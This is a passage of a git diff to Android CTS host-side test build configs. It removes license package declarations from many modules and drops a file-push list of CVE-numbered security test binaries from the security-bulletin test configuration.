name: "CtsHostLinkVerificationApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
index 6c2934e..a465c17 100644
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInattentiveSleepTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
index a867a5e..e8cf353 100644
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostPowerManagerTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
index d1f347b..4b71269 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostProcfsTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
index 954213b..b95f392 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibConsumerApp1",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
index ee9e35e..f2a40dd 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibConsumerApp2",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
index be8e979..95b497c 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibConsumerApp3",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
index df2af60..99c1bd5 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp1",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
index 8ffff64..d16ac9b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp2",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
index 6f4e523..4919e6b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp3",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
index 50caab2..83226d0 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp4",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
index b688dd7..aa549ff 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp5",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
index 77d7e2e..3827722 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp6",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
index 62489e2..8a2388d 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderApp7",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
index 019c3c4..b3ee2aa 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedLibProviderRecursive",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
index b82a420..d41aabe 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedNativeLibConsumer",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
index 4623e45..76e2fd5 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedNativeLibProvider",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
index 3491ad2..3062d9e 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStaticSharedNativeLibProvider1",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/Android.bp b/hostsidetests/packagemanager/codepath/Android.bp
index 1927ee3..059f3c6 100644
--- a/hostsidetests/packagemanager/codepath/Android.bp
+++ b/hostsidetests/packagemanager/codepath/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsCodePathHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/app/Android.bp b/hostsidetests/packagemanager/codepath/app/Android.bp
index 666244d..fc71169 100644
--- a/hostsidetests/packagemanager/codepath/app/Android.bp
+++ b/hostsidetests/packagemanager/codepath/app/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CodePathTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/Android.bp b/hostsidetests/packagemanager/dynamicmime/Android.bp
index 39247de..3608b51 100644
--- a/hostsidetests/packagemanager/dynamicmime/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/Android.bp
@@ -11,10 +11,6 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsDynamicMimeHostTestCases",
defaults: ["cts_defaults"],
@@ -30,4 +26,4 @@
"compatibility-host-util",
"truth-prebuilt",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/app/Android.bp b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
index 1d34cf4..21fcf05 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDynamicMimeHelperApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/common/Android.bp b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
index 97a8893..a80aba7 100644
--- a/hostsidetests/packagemanager/dynamicmime/common/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
@@ -12,13 +12,9 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "CtsDynamicMimeCommon",
defaults: ["cts_defaults"],
sdk_version: "test_current",
srcs: ["src/**/*.java"],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index 971cdc6..b8f2122 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -11,10 +11,6 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDynamicMimeTestApp",
defaults: ["cts_defaults"],
@@ -35,4 +31,4 @@
],
sdk_version: "test_current",
platform_apis: true,
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/extractnativelibs/Android.bp b/hostsidetests/packagemanager/extractnativelibs/Android.bp
index 2aeebc5..634b40d 100644
--- a/hostsidetests/packagemanager/extractnativelibs/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsExtractNativeLibsHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
index f80aa9e..5ae4dd3 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libtest_extract_native_libs",
gtest: false,
@@ -66,3 +62,4 @@
compile_multilib: "both",
v4_signature: true,
}
+
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index 04e264d..9871ab4 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsRollbackManagerHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/Android.bp b/hostsidetests/sample/Android.bp
index f34bb09..781babd 100644
--- a/hostsidetests/sample/Android.bp
+++ b/hostsidetests/sample/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSampleHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app/Android.bp b/hostsidetests/sample/app/Android.bp
index 536ce24..2597717 100644
--- a/hostsidetests/sample/app/Android.bp
+++ b/hostsidetests/sample/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSampleDeviceApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app2/Android.bp b/hostsidetests/sample/app2/Android.bp
index 0aaff4c..1fc25ed 100644
--- a/hostsidetests/sample/app2/Android.bp
+++ b/hostsidetests/sample/app2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSampleDeviceApp2",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 9c9043c..684aafd 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsScopedStorageTestAppA",
manifest: "ScopedStorageTestHelper/TestAppA.xml",
@@ -79,7 +75,7 @@
name: "CtsScopedStorageHostTest",
srcs: ["host/src/**/*.java"],
libs: ["tradefed", "testng"],
- test_suites: ["general-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
test_config: "AndroidTest.xml",
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index b614ebb..be2ae44 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-scopedstorage-lib",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
index d1f8121..5280d2a 100644
--- a/hostsidetests/seccomp/Android.bp
+++ b/hostsidetests/seccomp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSeccompHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
index d77756f..55fb375 100644
--- a/hostsidetests/seccomp/app/Android.bp
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSeccompDeviceApp",
compile_multilib: "both",
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
index 6e7b361..b528c53 100644
--- a/hostsidetests/seccomp/app/jni/Android.bp
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsseccomp_jni",
gtest: false,
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index 7d603bd..0a6373a 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -25,8 +25,6 @@
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 2b1a50c..5da0687 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSecurityBulletinHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 9a5c29d..a6b5c79 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -19,233 +19,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <!--__________________-->
- <!-- Utilities -->
- <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
-
- <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
- <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
- <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
- <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
- <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
- <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
- <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
- <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
- <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
- <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
- <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
- <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
- <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
- <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
- <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
-
- <!--__________________-->
- <!-- Bulletin 2015-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2015-3873->/data/local/tmp/CVE-2015-3873" />
-
- <!--__________________-->
- <!-- Bulletin 2016-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
- <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
- <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
-
- <!--__________________-->
- <!-- Bulletin 2016-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
- <option name="push" value="CVE-2015-1805->/data/local/tmp/CVE-2015-1805" />
-
- <!--__________________-->
- <!-- Bulletin 2016-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
-
- <!--__________________-->
- <!-- Bulletin 2016-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
- <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
- <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
- <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
- <!-- Bulletin 2016-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
- <!--__________________-->
- <!-- Bulletin 2016-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
-
- <!--__________________-->
- <!-- Bulletin 2016-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
-
- <!--__________________-->
- <!-- Bulletin 2016-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
-
- <!--__________________-->
- <!-- Bulletin 2017-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
- <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
- <!--__________________-->
- <!-- Bulletin 2017-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
- <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
- <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
- <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
- <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
- <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
- <!--__________________-->
- <!-- Bulletin 2017-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
- <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
- <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
- <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-4658->/data/local/tmp/CVE-2016-4658" />
- <option name="push" value="CVE-2016-5131->/data/local/tmp/CVE-2016-5131" />
-
- <!--__________________-->
- <!-- Bulletin 2017-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
- <!--__________________-->
- <!-- Bulletin 2017-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0814->/data/local/tmp/CVE-2017-0814" />
-
- <!--__________________-->
- <!-- Bulletin 2017-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
- <!--__________________-->
- <!-- Bulletin 2018-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
-
- <!--__________________-->
- <!-- Bulletin 2018-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0837->/data/local/tmp/CVE-2017-0837" />
- <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
- <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
- <!--__________________-->
- <!-- Bulletin 2018-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
- <!--__________________-->
- <!-- Bulletin 2018-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9344->/data/local/tmp/CVE-2018-9344" />
-
- <!--__________________-->
- <!-- Bulletin 2018-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9428->/data/local/tmp/CVE-2018-9428" />
- <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
-
- <!--__________________-->
- <!-- Bulletin 2018-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9466-CVE-2017-9047->/data/local/tmp/CVE-2018-9466-CVE-2017-9047" />
- <option name="push" value="CVE-2018-9466-CVE-2017-9048->/data/local/tmp/CVE-2018-9466-CVE-2017-9048" />
- <option name="push" value="CVE-2018-9466-CVE-2017-9049->/data/local/tmp/CVE-2018-9466-CVE-2017-9049" />
- <option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
-
- <!--__________________-->
- <!-- Bulletin 2018-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9491->/data/local/tmp/CVE-2018-9491" />
- <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
-
- <!--__________________-->
- <!-- Bulletin 2018-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9537->/data/local/tmp/CVE-2018-9537" />
- <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
-
- <!--__________________-->
- <!-- Bulletin 2019-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
- <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
-
- <!--__________________-->
